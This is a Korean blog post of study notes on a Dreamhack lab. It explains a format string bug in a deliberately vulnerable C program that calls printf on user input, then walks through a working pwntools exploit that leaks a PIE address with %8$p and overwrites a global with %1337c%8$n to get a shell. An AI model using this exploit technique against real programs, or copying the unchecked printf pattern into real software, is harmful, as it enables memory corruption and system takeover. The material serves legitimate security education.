본문 바로가기
Security/System Hacking

[Dreamhack System Hacking] STAGE 10 - 함께실습

by 단월໒꒱ 2022. 2. 19.

[함께실습] Exploit Tech: Format String Bug

1. Format String Bug

 1) Format String Bug

   - printf 함수 등 포맷 스트링을 사용하는 모든 함수는 해당 버그가 발생할 수 있음 (fprintf, sprintf 등)

 

 2) 예제 코드

   - 목표 : changeme의 값을 1337로 바꾸기

 

// Name: fsb_overwrite.c
// Compile: gcc -o fsb_overwrite fsb_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void get_string(char *buf, size_t size) {
  ssize_t i = read(0, buf, size);
  if (i == -1) {
    perror("read");
    exit(1);
  }
  if (i < size) {
    if (i > 0 && buf[i - 1] == '\n') i--;
    buf[i] = 0;
  }
}
int changeme;
int main() {
  char buf[0x20];
  
  setbuf(stdout, NULL);
  
  while (1) {
    get_string(buf, 0x20);
    printf(buf);
    puts("");
    if (changeme == 1337) {
      system("/bin/sh");
    }
  }
}

 

2. 분석

 1) 보호 기법

 

 

 

 

   - PIE, NX 등의 보호 기법이 적용되어 있음

   - 강의에선 Canary도 적용되어 있는데 왜인지 모르겠지만 실제로 해보니 적용되있지 않은 것을 확인할 수 있음

 

 2) 코드 분석

   - get_string 함수를 통해 buf에 32바이트를 입력 받음

   - 사용자가 입력한 buf를 printf 함수의 인자로 직접 사용하므로 포맷 스트링 버그 취약점 발생

 

3. 익스플로잇 설계

 1) changeme 주소 구하기

   - changeme의 값을 조작하려면 해당 변수의 주소를 먼저 알아내야 함

   - 바이너리에는 PIE 보호 기법이 적용되어 있으므로, 전역 변수인 changeme의 주소는 실행할 때마다 바뀜

   - 따라서 PIE 베이스 주소를 먼저 구하고, 그 주소를 기준으로 changeme의 주소를 계산해야 함

 

 2) changeme를 1337로 설정하기

   - get_string으로 changeme의 주소를 스택에 저장하면, printf 함수에서 %n으로 changeme의 값을 조작할 수 있음

   - 1337바이트의 문자열을 미리 출력하고, 위 방법으로 changeme에 값을 쓰면 changeme를 1337로 설정할 수 있음

 

4. changeme 주소 구하기

 - disassemble main 명령어를 사용해 printf 함수가 호출되는 오프셋을 찾고 해당 위치에 브레이크포인트를 설정

 

 

 

 

   - run 명령어를 통해 프로그램을 실행하면 get_string 함수에서 입력을 받음

   - 특정한 값을 입력한 후 브레이크포인트가 걸리면 다음과 같은 결과를 확인할 수 있음

   - RSP+16에 저장된 0x555555554970이 코드 영역에 포함되므로, 이 주소를 사용하면 PIE 베이스 주소를 구할 수 있음

 

 

 

 

 

 

   - x64 환경에서 printf 함수는 RDI에 포맷 스트링을, RSI, RDX, RCX, R8, R9 그리고 스택에 포맷 스트링의 인자를 전달

 

   - printf 함수의 인자를 순서대로 정리한 표 ([RSP+16]은 포맷 스트링의 8번째 인자이므로, %8$p로 접근할 수 있다.)

 

포맷 스트링 인자
RSI 0x7fffffffe420
RDX 0x8
RCX 0x7ffff7af2151
R8 0x7ffff7dcf8c0
R9 0x7ffff7fe24c0
[RSP] “12345678”
[RSP+8] 0x0
[RSP+16] 0x555555554970

 

   - vmmap의 실행 결과를 활용하면, RSP+16에 저장된 값과 PIE 베이스 주소의 기준 주소와의 차이가 0x970임을 알 수 있음

 

 

 

 

   - %8$p로 출력한 주소에서 0x970을 빼고, changeme의 오프셋을 더하면 changme의 주소를 구할 수 있음

   - changeme의 오프셋은 다음 명령어로 확인할 수 있음

 

 

 

   - 이를 이용하여 pwntools 스크립트를 작성하면 다음과 같이 코드 영역이 매핑된 주소와 changeme 변수의 주소를 구할 수 있음

 

 

from pwn import *
def slog(n, m): return success(": ".join([n, hex(m)]))

p = process("./fsb_overwrite")
elf = ELF("./fsb_overwrite")

context.arch = "amd64"

# [1] Get Address of changeme
p.sendline("%8$p") # FSB
leaked = int(p.recvline()[:-1], 16)
code_base = leaked - elf.symbols["__libc_csu_init"]
changeme = code_base + elf.symbols["changeme"]

slog("code_base", code_base)
slog("changeme", changeme)

 

 

 

5. 1337 길이의 문자열 출력

   - %n은 현재까지 출력된 문자열의 길이를 인자에 저장

   - 따라서 해당 형식 지정자로 changeme 변수에 1,337을 쓰려면 1,337바이트 길이의 문자열을 먼저 출력해야 함

   - 예제에서는 입력받는 길이를 0x20으로 제한하므로 1,337개의 문자열을 직접 입력할 수 없음

       -> 이럴 때는 포맷 스트링의 width 속성을 사용 가능

   - 포맷 스트링의 width는 출력의 최소 길이를 지정하고, 출력할 문자의 길이가 최소 길이보다 작으면 그만큼 패딩 문자를 추가

       Ex. %1337c에 대응되는 인자의 길이가 1,337보다 작으면, 인자를 출력하고 남은 길이를 공백으로 출력합니다.

 

 

// Name: fsb_minwidth.c
// Compile: gcc -o fsb_minwidth fsb_minwidth.c

int main() {
  printf("%10d\n", 123);
  printf("%20c\n", 'A');
}

 

 

 

6. changeme 덮어쓰기

   - changeme 변수의 주소를 알고, 1337의 길이를 갖는 문자열도 출력할 수 있으므로, 다음과 같은 포맷 스트링을 구성하면 changme의 값을 1337로 쓸 수 있음

   - 포맷 스트링을 구성하고, 익스플로잇을 실행하면 아래 실행 결과와 같이 출력

 

 

 

 

 

 

   - 이렇게 셸을 획득할 수 있다.

 

<전체 익스플로잇 코드>

 

# Name: get_changeme.py
#!/usr/bin/python3

from pwn import *
def slog(n, m): return success(": ".join([n, hex(m)]))

p = process("./fsb_overwrite")
elf = ELF("./fsb_overwrite")

context.arch = "amd64"

# [1] Get Address of changeme
p.sendline("%8$p") # FSB
leaked = int(p.recvline()[:-1], 16)
code_base = leaked - elf.symbols["__libc_csu_init"]
changeme = code_base + elf.symbols["changeme"]

slog("code_base", code_base)
slog("changeme", changeme)

# [2] Overwrite changeme
payload = "%1337c" # 1337을 min width로 하는 문자를 출력해 1337만큼 문자열이 사용되게 합니다.
payload += "%8$n" # 현재까지 사용된 문자열의 길이를 8번째 인자(p64(changeme)) 주소에 작성합니다.
payload += "A"*6 # 8의 배수를 위한 패딩입니다.
payload = payload.encode() + p64(changeme) # 페이로드 16바이트 뒤에 changeme 변수의 주소를 작성합니다.

p.sendline(payload)

p.interactive()

 

 

 

댓글